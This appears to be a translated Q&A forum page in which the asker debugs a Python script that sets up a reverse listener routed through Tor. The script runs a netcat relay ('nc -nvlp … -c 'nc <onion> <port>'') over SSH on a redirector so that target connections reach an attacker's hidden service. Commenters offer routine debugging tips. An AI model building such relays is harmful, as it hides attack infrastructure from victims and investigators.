【发布时间】:2018-02-10 21:39:06
【问题描述】:
我正在编写一个 python 脚本来帮助我通过 tor 创建反向侦听器。链条如下:
target 连接到 > 配置为使用 tor 处理所有 tcp 和 dns 流量的 linux 重定向服务器。
此服务器侦听指定端口并通过 > 将连接转发到攻击者 pc 的 .onion 地址,netcat 会在该地址中获取连接。
我正在通过 SSH 连接到重定向服务器以根据需要创建转发端口。我的脚本工作正常,除了 ssh 命令,即ssh user@ip.address "nc -nvlp 1234 -c'nc address.onion 1234'。如果我在 bash 终端中输入命令,一切都会很好。
但我尝试使用 os.system、子进程等发送 ssh 命令,但无济于事。我也尝试过使用 paramiko 连接到 ssh 并发出命令但同样的问题。正如我所说,如果我复制 python 将发送到 bash 终端的命令,它可以正常工作。任何帮助将非常感激。
这是不工作的sn-p,其余代码只是编辑并重新启动tor,但如果有人需要,我可以将其全部发布:
SSH_Hostname = '192.168.1.71'
SSH_Username = "servant"
SSH_Command ="ssh %s@%s \"nc -nvlp <PORT> -c 'nc <ONION> <PORT>' </dev/null &\" &" %(SSH_Username,SSH_Hostname) #works manually
def SSH_Script(port):
newSSH_Command=SSH_Command.replace('<ONION>',Get_Onion(TOR_Hidden_Service_Dir))
newSSH_Command=newSSH_Command.replace('<PORT>',port)
print "Configuring Redirector > %s" %newSSH_Command
os.system(newSSH_Command)
来电者:
def Create_Listener(lport):
print "Starting listener on %s ..." %lport
Add_Tor_Port(TOR_Hidden_Service_Dir,lport)
retvalue = os.popen("service tor status|grep Active:").read()
if "inactive" in retvalue:
print "Starting Tor ..."
os.system("service tor start")
else:
print "Re-starting Tor ..."
os.system("service tor restart")
sleep(3)
print 'Onion Address = %s' %Get_Onion(TOR_Hidden_Service_Dir)
SSH_Script(lport)
#start netcat
portlist = Get_Tor_Ports(TOR_Hidden_Service_Dir)
for prt in portlist:
print "listening on port %s" %prt
get_onion:
def Get_Onion(hs_dir):
hostnamefile= open('%s/hostname' % hs_dir)
onion= hostnamefile.read().replace('\n','')
hostnamefile.close()
return onion
这是 print newSSH_comand 输出的内容:
ssh servant@192.168.1.71 "nc -nvlp 55501 -c 'nc 2xvch5okdl76sn2j.onion 55501' </dev/null &" &
如果我复制该字符串并在 bash 中输入一切正常。只是无法让 python 正确执行它
【问题讨论】:
-
你应该真的将
subprocess与参数列表一起使用,而不是尝试自己生成带引号的命令! -
我尝试了子进程但没有成功,可能是由于命令的复杂性,也许我没有正确分解参数列表。
-
您的示例中缺少对 SSH_Script(...) 的调用。 Get_Onion(...) 的返回值也可能对分析您的问题很重要。请提供一些示例值以及运行示例时收到的错误消息。
-
@Brad 您正在将错误输出重定向到 null。尝试将其写入文件并拖尾文件
-
@Brad 也尝试在 journalctl 中寻找线索